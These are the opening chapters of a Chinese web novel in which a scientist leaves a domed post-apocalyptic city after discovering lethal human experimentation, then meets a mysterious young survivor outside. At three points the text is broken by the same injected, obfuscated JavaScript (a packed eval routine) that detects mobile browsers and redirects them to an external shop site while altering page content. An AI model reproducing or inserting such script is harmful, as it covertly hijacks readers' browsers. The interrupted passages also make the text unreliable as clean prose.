《全城哀悼时,我在荒野求生》 1. 浮罗达 人类的一切并不都像这夜色一样阴暗;还有一种光明的、高尚的、永恒的东西存在着,支配着世界。 --《复活》 “你叫林昼。昼,光明。我的孩子……记住,你是妈妈孕育的……最完美的孩子……是真正的……火种……” 林昼从梦中惊醒,他坐起身,额角渗出细密的冷汗,母亲抚摸他额头的触感仿佛还在。 实验室恒温系统发出声音,将他拉回现实。 林昼直起身,穿上研究服,推开了实验室的门。 这里是浮罗达A区,核心研究所的最高层。 落地窗外,整座城邦在晨光中缓缓苏醒。巨大的广告牌悬浮在半空,循环播放着宣传片: “浮罗达,人类文明最后的火种!” “同生存,共世界!为了更美好的明天!” 林昼走到窗前,人造穹顶模拟出的阳光,落在他脸上,为白皙的皮肤镀上了一层浅金色的光晕。 城市的空气循环系统正在工作,送来洁净微凉的气息,其中还混合着来自中央公园的花香。人行道上的行人脸上是一派闲适。 悬浮车流行驶在规定的航道上,只发出了极轻微的响声,一切都井然有序。 这看似完美的世界,代价是墙外被遗弃的数十亿生命。 十八年前,“潘多拉”病毒席卷全球。 生态崩溃、资源战争、生物畸变——据浮罗达数据中心最后一次推算,旧时代近百亿人口,如今幸存者不足千万。 在林昼的净化剂推广之前,地表绝大多数淡水源被检测出含有病毒残留物,许多区域都弥漫着变异的孢子尘埃。 像浮罗达这样拥有巨型穹顶隔离和顶级净化系统的“乌托邦”,成为了旧时代权贵和精英们的诺亚方舟。 而墙外的世界,则被定性为“不适于人类生存的污染区”,其中的幸存者被称为流民或盗匪。 林昼的目光落在实验台边缘一个老旧的相框上。 照片里,七岁的他被父亲高高托起,母亲在一旁温柔地注视着他们,三张笑脸仿佛承载了整个世界的光。 如今,只剩他一个人。 他还清晰地记得那个午后——父亲将他塞进母亲怀里,宽厚的手掌用力揉了揉他的头发,然后额头抵上他的额头。 父亲熟悉的气息,将他紧紧包裹。 “小昼别怕,爸爸去把那些坏东西引开。” 那是父亲对他说的最后一句话。 紧接着就是此起彼伏的爆炸声。母亲的脸瞬间惨白,将他死死搂在怀里,他能感觉到她身体在剧烈颤抖。 到了最后关头,母亲将他推上通往浮罗达的运输舱,自己却决绝地退回了那片混乱之地。 “我必须留下来,这是我的使命。”她眼神复杂地看了他一眼,嘴唇翕动,说了一句什么。可这句话刚一出口,就被舷窗外滔天的哭喊与怪物的嘶吼彻底吞没。 林昼没听清,他心头一紧,猛地扑到舷窗上,还没来得及问。 下一秒,惊变骤起。 数条巨大的触须从炸毁的废墟中探出,像蠕动的巨蟒,挡住了舷窗外仅剩的天光。伴随着一声尖啸,触须将母亲凌空卷起,林昼看见她的长发在半空中扬起,只一瞬,便被彻底拖入阴影之中。 “林博士。” 助理李温河的声音从身后传来,打断了林昼的思绪。 “执行官办公室发来了嘉奖令。”李温河的声音带着一丝恭敬,“您的拟态潘多拉III型药剂在第七区的实战效果,获得了高度赞赏。” 林昼回过头,墨玉般的短发衬得肤色愈发冷白,他开口声音冷漠:“我明确禁止过,拟态潘多拉III型尚未通过最终验证,不得投入实践。” 他语调平静,继续说道:“药物虽能急剧提升身体素质,但存在致命缺陷,药效衰退期的强制性神经休眠,在缺乏绝对保护的野外环境,这等同于死亡。是谁批准的?” 当初,李温河作为浮罗达顶尖学府的高材生,被指派给这位年轻的首席当助理时,心中并非没有过轻慢与怀疑。 那时的林昼,在他眼中不过是一件被陈列在研究所的装饰品,他甚至私下揣测过那些关于这位博士凭借非常手段上位的流言。 但很快,那些轻蔑就化为了一种近乎战栗的认知。如果这个扭曲的时代还需要一个神来定义真理,那么他确信,那一定会是林昼。 李温河低下头,避开林昼的视线:“流程……是由行政中枢特批的。签署权限,已经被上调了。” “谁签的?”林昼问。 短暂的沉默后,李温河低声回答:“……萧知沉秘书长。” 空气似乎凝滞了一瞬,谁都知道林昼和萧知沉因为理念问题,闹翻了。 “知道了。”林昼最终只是平淡地吐出两个字,重新转向实验台。 台面上整齐排列着最新一批拟态潘多拉III型药剂,副作用仍未解决。 暮色渐沉时,林昼离开了实验室,手里提着一个不起眼的袋子。 他穿过两个街区,走进中央公园,在那张熟悉的长椅边停下脚步。 长椅空着。 他目光扫过四周,人不在。 那位总在公园过夜的大叔,已经消失好几天了。 林昼还记得他的编号:D-274,属于低贡献值人口。有一次大叔饿得发昏,跑到喷泉池里喝水充饥,那之后,林昼路过时总会多带一份食物。 袋子里是两份营养膏和一瓶纯净水。林昼将袋子放在长椅中央。他静立片刻,便转身离开了。 今天他还要去别的地方。 浮罗达的顶级餐厅建在数百米的高空上,脚下是璀璨如星河的夜景。 水晶灯折射出迷离的光,空气中流淌着轻柔的古典乐,而林昼坐在角落,面前的餐点几乎未动。 元老们的谈笑声传来,关于戏剧、派对,以及被轻描淡写称为“资源协调问题”的城外动荡。 那些话仿佛隔着一层厚重的玻璃,模糊而遥远。他无意识地摩挲着酒杯,目光落在虚空里。 就在这时,一阵带着笑意的喧闹声从门口传来。 人群簇拥着一个身影走进来——萧知沉,浮罗达行政中枢的秘书长。 他穿着一身剪裁完美的深色礼服,容貌昳丽,嘴角噙着一丝漫不经心的笑意,眼波流转间,既有天生的矜贵,又带着一丝刻意为之的慵懒风情。 他游刃有余地周旋在众人之间。林昼的目光与他短暂地交汇了一瞬。 他遥遥地朝林昼举了举杯,笑容加深。林昼面无表情地移开视线。 萧知沉笑意未减,谢绝了旁人的酒,径直走向角落。 他在林昼对面坐下,一只手松松撑着下巴,另一手轻晃酒杯,目光却牢牢锁住林昼: “真令人意外。我还以为,你这辈子都不会踏进这种地方,学弟。” 林昼抬眸,声音压得低而冷:“拟态III型药剂,为什么未经我允许就投入量产和应用?” 萧知沉轻笑,说道:“原来是因为这个。走流程太慢了,而且我知道你不会签字,就提前签发了。” “你看过那批药剂的副作用报告吗?” “扫过几眼,”萧知沉偏了偏头,还未喝酒仿佛已经有了醉态,“可控范围内。” “可控?”林昼的手指蓦然收紧,一直平稳的声线陡然拔高:“那是活生生的人,不是实验数据!” 萧知沉的笑意淡了些,酒杯轻轻搁在桌上:“林昼,你还是和以前一样天真。” “天真?”林昼重复这个词,一股愤怒冲上心口,“明明是你背弃了我们的理想!” 萧知沉靠回椅背,说:“林昼,你以为靠理想就能对抗生存法则吗?当初我们在学院耗尽心血写出的论文,甚至比不上那些权贵子女的一幅涂鸦。真正重要的从不是理想,而是权力!” 林昼激动地站起来:“不,是你变了!你以前从不会拿人命开玩笑。” 萧知沉闻言笑了笑:“人命是这里最不值钱的东西。每个人的价值都被明码标价了,这个城市并不在乎人,只在乎这个人是否对浮罗达有贡献而已。” “人又不是商品!” 萧知沉扫过林昼紧握的拳头,语气放缓:“别用那种眼神看我,你知道我说的是事实。” 突如其来的动静打破了角落的平静。 几位原本在高谈阔论的元老停下话语,目光饶有兴味地投了过来。 “……林昼那孩子,还是一副冷冰冰的样子。不过那张脸,整天待在实验室真是暴殄天物。” “可惜了,空有一张让人过目不忘的脸,性子却无趣得很。” “那性子冷是冷了点,反倒更勾人了。” “哎,总拘泥于那些副作用……年轻人不懂变通。科学贡献之外,也该为城邦做点别的‘贡献’嘛。他那副清冷样子,要是带到床上,不知道会不会特别销魂。”另一人暧昧地笑起来。 “年轻人嘛,总得经历些事才明白轻重。说到底,他那身本事和那副样貌,都是城邦的资源,资源就该物尽其用才对。” 一阵心照不宣的低笑响起。他们碰了碰杯,目光却依旧黏在不远处的林昼身上。 萧知沉唇边的笑意彻底消失了,几只老蛀虫,他早看他们不顺眼了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388013|200290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他抬眼看向对面的林昼。 林昼的脸上并无被冒犯的怒意,脸色非常平静。 “失陪一下。”萧知沉站起身。 他没有立刻走向那桌元老,而是脚步一转,走向附近侍立的侍者,微微倾身,低声吩咐了一句。 侍者面色一凛,迅速点头退下。 随即,萧知沉从经过的侍者托盘上,取下一瓶未开封的烈酒。他拎着酒瓶,这才迈步走向那群人。 “诸位,看来今晚兴致都很高?”萧知沉脸上重新挂上笑容,他将那瓶酒轻轻放在几人中间的矮几上,发出一声轻响。 “萧秘书长这是要亲自给我们添酒?” “我觉得,正适合给诸位醒醒脑。”萧知沉一只手随意地搭在瓶身上,目光缓缓扫过几人,“不过,我刚才听见,几位似乎对林博士有些意见?” “不过是长辈对晚辈的关心,闲聊了几句。” 萧知沉笑了笑,目光却倏然锐利起来,说:“是么。我也该关心关心各位长辈才是……最近需要派遣一批志愿者前往深度污染区,各位有兴趣吗?” 一瞬间,桌边的空气仿佛凝固了。几位元老脸色微变,讪讪地说:“是我们唐突,打扰二位了。” 萧知沉不再多言,只是极淡地颔首,转身离开。 高空的风透过未关严的门缝吹入,带来一丝外面的凉意。 “这里太闷了,”萧知沉开口说道:“走吧,出去透口气。” 推开沉重的玻璃门,清冽的空气瞬间涌入。脚下是璀璨城景,头顶是近乎墨蓝的夜幕。 露台上已经被清场,空无一人。 萧知沉径直走到栏杆边,双手撑着冰冷的金属,说:“跳过你签发也不是第一次了,也没见你来找过我。说吧,什么事?” 林昼站在他身后一步之遥,说道:“我决定离开浮罗达,需要你的帮助。” 萧知沉猛地转过身,脸上惯有的笑意消失了,说:“你知道你在说什么吗?这可不是闹着玩的,林昼。这是叛逃。” “我知道。”林昼迎着他的目光,也向前走了两步,与他并肩站在栏杆边,望向脚下的光海,“你看这些灯光,璀璨夺目,但其实只是中央系统调控出的虚假景象。” 他看向远处,伸出手试图抓住探照灯扫过的轨迹:“恐惧和管控,才是维系这里的根基。” 他顿了顿,夜风吹动他额前的碎发。 “如果有一天,潘多拉病毒真的消失,维系这一切的根基就会崩塌。以它为核心构建起来的世界,就会失去存在的理由。所以,真正的解药永远不会被允许出现。想要这个世界不再被病毒所扰的理想,就不会实现。” 这不仅是他的理想,也是母亲的遗愿。 他侧过头,看向萧知沉:“在这里,我永远找不到想要的答案。” 萧知沉盯着他,先是难以置信,随后短促地笑了一声,摇了摇头:“你以为外面是什么?废墟,怪物,弱肉强食。在这里,你至少是受人尊敬的林博士。出去了,你可能连三天都活不过。” 林昼松了一口气,他知道萧知沉会帮忙了。 “我父亲是参与设计浮罗达的建筑师,所有建在浮罗达外面的哨站我还有印象,以我在浮罗达系统的权限,应该都能进去。而且,就算会死,我也要出去看看。” 萧知沉扯动嘴角,露出一丝与之前毫不相同的笑容,带着欣赏的口吻说道:“……呵,真是今非昔比了。不过这确实符合你的作风,我还记得你十八岁的时候就捅穿了一个老头是吧。” “……好像是,元老院的谁不记得了。” “听说他现在下半身还起不来。”萧知沉向前一步,拉近与林昼的距离。 “其实,我早就想让你别给那群渣滓卖命了。”他的目光掠过林昼,投向脚下的浮罗达,眼中闪过一丝冰冷的光芒,“看着这座城最后变得摇摇欲坠,光是想想,就让我期待。” “顺便说一句,一直以来你都误会了,拯救世界是你的理想,从来不是我的。” 他话音刚落,之前那位侍者便悄无声息地再次出现,将一个文件夹递到萧知沉手中。萧知沉接过来,递向林昼。 “就当是给你的离别礼物,离开这个肮脏的地方就不要再回来了。” 林昼接过文件,没有立刻查看。 “明早八点,B7升降平台。带上你认为必要的东西,其他的我会安排。”他转身离开,又想起什么突然回过头来,问道:“我记得你很会游泳吧?” 林昼点头:“嗯。” 萧知沉看着他平静的侧脸,似乎还想说什么,嘴唇动了动,但最终什么也没说。 2. 叛逃 和萧知沉分开后,林昼回到实验室的住所。 他借着拟态药剂审批问题去找萧知沉,本是为了避免审查委员会的注意。以他的身份,想要顺利离开浮罗达,萧知沉的权限能省去许多麻烦。 简单收拾之后,他才想起来那份文件。 他坐在沙发上,随手翻开封面,标题跃入眼帘: “拟态潘多拉III型优化方案——活体供能及适配性研究”。 只一眼,他便感到指尖开始发冷。 视线不受控制地向下滑去。 对实验体进行不同浓度的潘多拉病毒注射,观察其生理、尤其是神经系统的崩溃与畸变过程,提取特定阶段的细胞分泌物和脑脊液,作为制造“拟态潘多拉”药剂的核心原料。 “活体感染者注射实验……” “阶段性脑脊液采集……” 这些词语不停地出现在他的视线里。 林昼几乎忘记呼吸,手指僵硬地翻到下一页。一张全彩图像毫无防备地撞进他眼底。 图片里有一个被束缚在金属台上的少年,看起来不过十几岁,他的半边脸已经开始异化,呈现出非人的角质层,但剩下的那只眼睛里,充满令人窒息的痛苦和哀求。 照片角落,标注着小小的日期和编号,连一个名字也没留下。 林昼的胃里一阵翻涌。 他飞快地翻动纸页,纸张摩擦的声音在寂静中格外刺耳。 然后,他的目光死死钉在最后一页的附录上。 样本来源清单。 “城外第七区资源回收行动,捕获活体感染者(未完全变异)……” “城外第七区资源回收行动,捕获活体未感染者……” “城内D区,编号D381,惰性人口,无贡献值……” “……” 林昼的指尖划过一长串编号,心中升起一股不祥的预感。直到—— “城内D区,编号D274,惰性人口,无贡献值。状态:已适配。最终处置:焚化。” D274。 “林博士,谢谢你啊。”耳边突然响起大叔当时道谢的声音。 一股剧烈的恶心冲上喉咙,林昼再也忍不住,冲进卫生间,双手死死撑住冰冷的洗漱台,却什么也吐不出来。 他提出“拟态潘多拉药剂设想”时说过,这种药剂需要极其复杂的生物活性成分作为基底和诱导剂,但来源绝不能是人! 他抬起头,看向镜中自己苍白的脸,眼睛里是毫不掩饰的震惊和愤怒。 次日,早晨七点五十五分,B7升降平台。 林昼换上一套便于行动的野外考察服。衣服剪裁合体,特殊材质的纤维布料非常适合野外生存。 萧知沉已经到了,他同样穿着利落的野外装备,外面随意披了件黑色外套。 看到林昼走来,萧知沉眉梢微挑,目光在他身上转了一圈:“早啊,林博士。你那些研究资料呢?没一起带上?” 林昼脚步未停,只抬起手指,轻轻点了点自己的太阳穴。 意思明确:都在这里。 萧知沉愣了一下,随即调笑道:“学弟,我以前就很欣赏你这个样子,要不留下来和我交往吧,保证让你满意,各种意义上的。” 林昼冷漠地瞥了他一眼,说:“我们都是男人。” “所以呢?”萧知沉说,“林博士,你的知识库难道没有更新?情感与吸引的机制,早就不限于生理性别的简单划分了。” 林昼摊牌:“我对你没兴趣,所以找了这个借口,你可以假装没听懂。” “好吧,失望。” “人齐了,准备下行。”一旁的操控员出声提醒。 升降平台发出低沉的嗡鸣,急速向下坠落,穿过厚重的防护层,进入略显昏暗的中转层,然后彻底进入叹息之墙的通道。 在闸门即将完全闭合之前,林昼回过头。 核心区的穹顶,在通道尽头缩成一个遥远而璀璨的光点,像一个巨大而虚幻的肥皂泡。 闸门在身后关闭,隔绝了两个世界。 林昼跟着萧知沉,走向等候在外的装甲越野车。 特勤组长微微颔首:“秘书长,想不到您今天亲自来了。装备车辆已就绪,任务简报已同步至各位终端。” 同行的特勤队员随即递上一个精致的金属箱,打开后,里面整齐排列着数支泛着微蓝光泽的注射器。 特勤组长介绍道:“按照规程,出墙执行任务的人员,需预先注射拟态潘多拉III型,以提升任务效率,降低风险。” 林昼眉头微蹙,下意识地想开口,却被萧知沉一个极轻的摇头动作制止。 萧知沉脸上没什么表情,只是对组长略一点头:“按规程办。” 特勤队员开始依次为在场人员发放注射器,轮到从后面车辆下来的年轻人时,气氛却变了。 他们伸出胳膊时脸上带着一种跃跃欲试的神情,仿佛即将进行的不是注射,而是某种刺激的成人礼。 “快点,我都等不及想看看外面什么样了。”一个穿着定制战术服的青年催促着,“听说这次是狩猎活人!” “我爸说了,活的比较有意思。”另一个附和道。 林昼看着他们不谙世事的脸,陷入了沉默。 特勤队员走到林昼身边,出声道:“林博士,这是您的。” “我自己来。”林昼借着整理袖口的动作,极快地将注射器滑入考察服的内袋,并未将药剂推入静脉。 很快,药剂在其他人体内发挥作用。他们的眼神变得更加锐利明亮,肢体动作透出一种过分的轻捷与活力。 一种难以具体描述的生物信息素开始从他们身上散发出来,这正是拟态药剂的核心功能之一:模拟特定生物信号,使墙外大部分受“潘多拉”影响的变异生物将其判定为“同类”,从而大幅降低被攻击的概率。 车队在废墟中穿行。大约一小时后,他们抵达一处地势较高的断桥之上。 旁边一名军官上前来报告:“秘书长,前方的幸存者聚集点,就是我们今天的目标。但是根据汇报,最近第七区边缘流窜着盗匪。他上周袭击了我们的一个资源采集小队,需保持警戒。” 萧知沉还未回应,那几个年轻人已经凑过来,摆弄着手中价格不菲的改装枪械,脸上一脸兴奋。 “盗匪?正好。”最先开口的青年舔了舔嘴唇,“活靶子可比固定靶有意思多了。” 萧知沉转而看向林昼,介绍道:“这几位是内城几家的子弟,跟着出来历练一下。”他的语气里有一丝讥讽,“我们浮罗达的未来嘛,总得熟悉各种事务。” 说着,他将一把威力不容小觑的手枪递向林昼,声音压低:“拿着,以防万一。” 林昼现在的脸色很难看,他明白了所谓的“第七区拓展行动”、“资源采集任务”,不过是一场娱乐活动。 这根本不是什么正经任务。 这是一场猎杀游戏。 “出发!”军官一声令下,那些人兴高采烈地冲下去,扑向他们的“猎场”。 转瞬之间,断桥上只剩下萧知沉与林昼二人。 林昼望着下方不远处湍急的河流,说:“你的安排,不会是让我从这儿跳下去,顺水游到某个汇合点吧?” 萧知沉露出一丝赞许的笑意,说到:“Bingo!下游的左岸缓滩,有车,有足够维持一个月的标准化物资包,地图和基础导航仪也在里面。不方便给你准备船只,只有块浮板。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388014|200290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “第七区周边已经进行过数轮清理,大规模变异群体绝迹,所谓武装流民也成不了气候。你上岸后,什么都别管,开车往东南方向旧公路走,进入丘陵地带就好。” 他顿了顿,看向林昼:“我会在任务报告中写明,你坠落激流,失踪。搜寻队会沿河展开作业,所以你动作要快。” 林昼迎上他的目光:“就没有轻松点的方式?” 萧知沉:“别抱怨了。刚好有一具体型和你相仿的无名尸体,已经在合适的水域里浸泡了一段时间,足以应付常规的搜捞和辨识。” 风吹动两人的衣角,从远处隐约传来零星的枪响。 萧知沉的语气轻快:“放心吧,学弟。浮罗达会为你准备一场盛大的葬礼。” 可就在林昼即将转身的刹那,萧知沉微微向前踏了半步,声音低得几乎让人以为是错觉: “别死在外面。” 林昼脚步一顿。他没有回头,只是肩线似乎绷紧了一瞬。 然后,他侧过脸,最后看了萧知沉一眼。 那眼神里翻涌着过往实验室里一起忙碌的时光,再到因为理念分道扬镳的刺痛,所有未尽的言语都凝固在这短暂的一瞥里。 最终,他什么也没说,只是极轻微地点了一下头。 下一秒,他毫不犹豫地转身,向着奔涌的河水,纵身跃去。身影瞬间被翻腾的水雾吞没,消失在一片茫茫的灰白之中。 萧知沉独自站在原地,望着空荡荡的河面。远处又一声枪响传来,他缓缓收回目光,低声重复了林昼未说出口的那句话,尾音散在风里: “……但愿吧。” 林昼入水后在浮板的帮助下,控制方向,顺着水流朝下游漂去。 大约二十分钟后,水流渐缓,左岸出现碎石滩,车辆轮廓隐约可见。林昼用力划动双臂,借助浮板的支撑,向岸边靠拢。 就在他的靴子终于踩到河底的沙石,踉跄着想要站直身体时,一道黑影带着劲风从侧后方扑来。 盗匪? 林昼甚至来不及完全转身,只觉手臂被一股巨大的力量猛地反拧到背后,同时膝窝遭到精准一击,整个人不受控制地向前跪倒。 袭击者的另一只手已经闪电般扼向他的咽喉,动作狠辣熟练,没有丝毫多余。 求生的本能让林昼在倒地瞬间竭力挣扎,未被完全制住的左手向后胡乱抓去,没有摸到萧知沉给的那把枪,却摸到了那支未使用的拟态注射器。 没有犹豫,在身体被彻底压制的最后一刹,林昼拇指用力弹开注射器的安全卡扣,凭着感觉,将针尖狠狠扎向身后钳制着自己的手臂,推入药剂。 “呃!” 身后传来一声压抑的闷哼,钳制他咽喉和手臂的力量出现了瞬间松动。 林昼抓住机会,用尽全身力气屈肘向后猛撞,试图挣脱。然而,他低估了身后人的强悍。 袭击者的反应快得惊人。 一记沉重精准的手刀,带着凌厉的风声,狠狠劈在林昼的颈侧。 剧烈的钝痛和瞬间的眩晕如黑潮般淹没了他,林昼倒了下去。 在彻底失去意识前,他听见身后那人“咦”了一声,紧接着,在自己即将摔向碎石滩时,身体被一双手接住了。 封宵单膝半跪,将昏迷的人扶靠在臂弯里。他先看了一眼四周,确认没有新的人冒出来。 随即,他的目光落回怀中这张脸上。 他伸出手,托起林昼的下颌,仿佛在确认什么,然后他的动作明显顿住了。 远处的水声和风声都退成模糊的背景。 终于,封宵深吸一口气,又缓缓吐出。 他松开手,让林昼靠回自己臂弯,低声道: “太像了。” 3. 免疫者 不知过了多久,林昼的意识从一片黑暗中醒来。 他睫毛颤了颤,睁开了眼。 他发现自己靠在越野车的副驾驶座上,身上盖着条厚实的毯子,上面有一股好闻的味道。 转头看向窗外,一片死寂,远处偶尔传来一两声非人的嘶吼声。 清晨的太阳呈现出一种不祥的血红色,涂抹在连绵起伏的山脉上。 他看到了风化骸骨上残留的衣物碎片,墙壁上是早已干涸的求救信息,远处的地平线上,游荡着几个摇摇晃晃、肢体扭曲得超越人类想象的巨大黑影。 这里明显已经离第七区很远了。 “你终于醒了。” 一个年轻清朗的声音从驾驶座方向传来。 林昼循声转过头。 驾驶座上是个非常年轻的男性,看起来二十岁左右。 他身上一件简单的黑色T恤,双手松松搭在方向盘上,袖口挽起,露出的小臂线条流畅,整体姿态却显得放松甚至有些懒散。 看到林昼醒来,他的眼角先一步弯起弧度,加上他本就生了一张极具欺骗性的脸,毫无攻击性,笑起来时,陷出一双浅浅的酒窝,配上偶尔露出的虎牙,有种毫不设防的天真。 他的神态里有股不加掩饰的直率,让林昼恍惚想起小时候养过的小狗。 但是小狗可不会把他一手刀就劈晕过去。 他似乎察觉到林昼的注视,侧过脸来。 正面相对,林昼看清了他的眼睛,是清透的琥珀色,此刻正直直地望进他眼里。 “感觉怎么样?”他问,语气里带着关切,“脖子……应该还挺疼的吧?抱歉,当时情况有点紧急。” “我……昏迷了多久?”林昼开口,声音干涩低哑。 “差不多一天一夜了。”年轻人回答得很快,语气里带着一丝懊恼,“岸上停着浮罗达的车,你又从河里冒出来,我还以为是浮罗达的采集小队。” 一天一夜? 拟态潘多拉III型药剂的副作用——强制性的神经休眠,理论持续时间是8到12小时,且对个体差异不大。 他在河里将那支标准剂量的药剂全部注入了对方体内。 那么按照常理,他应该在药剂失效后很快陷入昏迷,绝不可能持续驾驶车辆一天一夜。 除非……他对拟态潘多拉免疫?那么意味着他可能对“潘多拉”病毒也免疫。 他突然对这个人来了兴趣,问道:“你叫什么名字?” 他立刻回答道:“封宵。我来找我哥的。”他盯着林昼的脸,嘴角上扬,“现在找到了。” 林昼:“……我不是你哥。” 封宵语气笃定:“你就是我哥,不然怎么和我哥长得一模一样。” 林昼一噎:“……我叫林昼。” 封宵眉眼一弯,从善如流:“好的,哥哥。” 林昼张了张嘴,本想再辩,可话到嘴边又咽了回去。眼下的处境,他正需要一个理由留下来观察这个奇怪的年轻人。既然对方非要这么叫,那就……随他去吧。 车子又行驶了一段。 林昼注意到封宵虽然开了一天一夜的车,但丝毫不见长时间驾驶和高强度警戒后的疲态。 这种体能恢复能力和耐力,已经远超普通人类的范畴,甚至超过了注射拟态药剂后处于亢奋期的浮罗达士兵。 他确实没有受到拟态药剂副作用的影响。 如果能弄清楚原因,或许不仅能解决拟态药剂的缺陷,甚至可能对理解“潘多拉”病毒本身有突破性意义。 封宵注意到林昼苍白的脸色和不时微蹙的眉心,他忽然打了方向盘,将车缓缓停在一处背风的山岩处。 “哥,你脸色不太好,我们歇会儿,吃点东西再走。”他一边说,一边利落地熄火下车,绕到后备箱。 林昼也跟着下车,他环顾四周,这里应该是旧时代公路的边缘,路面早已破碎,被畸变的植被侵蚀。 土壤呈现出一种不健康的灰褐色,板结严重,零星生长着一些形态乖张的低矮植物。 封宵从浮罗达留下的车里搬出个金属箱子,里面是标准军用口粮和一些基础炊具。 “哥,你坐那儿别动,休息就好。我很快弄点热的。”他随即手脚麻利地开始用固体燃料块生火,烧水,拆开包装处理食物。 林昼没有坐下。他缓缓走向岩石另一侧的洼地,那里的土壤更加潮湿,植被也更加畸形。 就在这时,一阵轻微的“沙沙”声传入他耳中。 声音来自洼地边缘的灌木丛后。 林昼脚步一顿,警惕地看去。灌木丛阴影里,似乎匍匐着一团颜色与周围土壤几乎融为一体的东西。 他小心地靠近两步,看清了那是一具人形生物。或者说,曾经是。 它蜷缩在那里,皮肤呈现出一种类似树皮的灰褐色,布满皲裂和苔藓状的增生,几乎与地面融为一体。它的肢体扭曲,关节以反常的角度折叠,胸腔微微起伏,极其缓慢。 最引人注目的是它的头部,大半张脸仿佛融化后又凝固,五官模糊,只有一只半开半阖的眼睛,蒙着一层灰白的翳状物。 休眠期的腐行尸,是“潘多拉”病毒导致的人类变异体之一,在缺乏能量补充时会进入极低代谢的休眠状态。 他的呼吸下意识放轻,亲眼见到休眠期的活体,还是第一次。 感知到活物靠近,那只腐行尸的眼睛,缓慢地转动了一下。 林昼心头一跳,立刻意识到不妙,向后退去。 但已经晚了。 腐行尸发出一声低吼,蜷缩的身体猛地弹开,枯爪般的手带着腥气,直抓林昼面门。 死亡的气息扑面而来。林昼瞳孔骤缩,身体却因瞬间的冲击而反应迟钝。 就在腐行尸的指尖即将触碰到他皮肤的刹那,一道黑影骤然切入他与腐行尸之间。 “噗嗤!”一声。 腐行尸的动作戛然而止。一柄通体漆黑、刃口泛着冷光的直刀,精准无比地贯穿了它的头颅,腐行尸最后抽搐了一下,彻底不动了。 林昼的视线顺着握刀的手臂向上移。 封宵侧对着他,脸上没有任何表情,那双琥珀色的眼睛在出手的瞬间,冰冷得像丛林的野兽。 下一秒,封宵手腕一抖,利落地抽回直刀,在旁边的枯草上随意一擦,反手插回腰后刀鞘。 然后,他猛地转过身。 几乎在他转身的同时,脸上那种冰冷的非人感快速褪去,被浓烈的担忧和后怕所取代。他甚至没看地上那具尸体一眼,一步跨到林昼面前,双手抓住他的肩膀,感觉快哭出来了: “哥!你没事吧?有没有被抓到?碰到哪里没有?真是吓死我了。” 他的声音紧绷,目光急切地在林昼脸上和身上来回扫视,确认没有伤口和沾染上污秽。 林昼任他检查,直到他动作稍缓才平静地说道:“我没事。现在外面,这样的东西还多吗?” 封宵见他无恙,长长舒了口气,回答道:“看地方。像这种靠近旧公路又被清理过的区域几乎没有,它们大多藏在更深的废墟、地铁和洞穴里。有些地方的变异体很难缠,和这个不一样。” 他一边说,一边自然地拉着林昼的胳膊,把他带离那具尸体,回到刚才生火的地方。 火上的小锅正冒着热气。 “不过比起前些年,确实好多了。”封宵蹲下来,用木棍拨了拨火,“几年前,浮罗达里有个博士,搞出了大规模的净化剂。那之后,新感染变异的人就少了很多。” 说着,封宵盛了一碗冒着热气的糊状食物,小心地吹了吹,递到林昼手里:“哥,快吃点,暖和一下。吃完我们继续赶路,天黑前得找个更稳妥的地方过夜。” 林昼接过陶碗,食物的热气熏在脸上。他低头,慢慢喝了一口,一抬眼,便看到封宵蹲在对面,手肘支在膝盖上,双手托着脸,正一眨不眨地看着他。 林昼:“……” 封宵:“?” 林昼:“为什么一直盯着我看?” 封宵咧嘴一笑,微微歪了下头:“我们已经快十三年未见了。” 说完,他还肯定似的点了点头,颊边浅浅的酒窝跟着浮现出来。 十三年前林昼还在浮罗达的学院里,根本不可能见过封宵。那个时候封宵多大?七岁?他悄悄打量了封宵一眼——那张脸明明还带着少年人的轮廓,始终不过是个小朋友罢了。 林昼张了张嘴,最终什么也没说,低下头继续喝粥。 休整过后,两人重新上路。 车内一时安静,只剩下引擎声和风声。 林昼靠在副驾驶座上,目光落在窗外。他忽然开口:“你开了一天一夜,要不要换我来开一段?你休息一下。” 封宵闻言,倏地转过头,眼睛一亮:“哥,你在担心我吗?” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388015|200290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴角控制不住地上扬,随即又坚定地摇摇头,“我一点儿都不累。真的!” “哥你才要好好休息。” 他顿了顿,声音低了些,像是不好意思承认自己留意过这种事,“我抱你上车的时候就觉得……你好轻。” 林昼沉默了几秒。他实在不想被一个看起来还跟小朋友似的人用这种语气说“你好轻”——可话堵在喉咙,却反驳不出来。谁让他在水里被压制的根本反抗不了。 他垂下眼,岔开话题:“你对这一带很熟吗?” 封宵摇摇头:“不算特别熟。来之前研究了很久的地图。” 林昼:“一个人?” 封宵对着林昼笑了一下:“嗯!不过现在有哥了。” 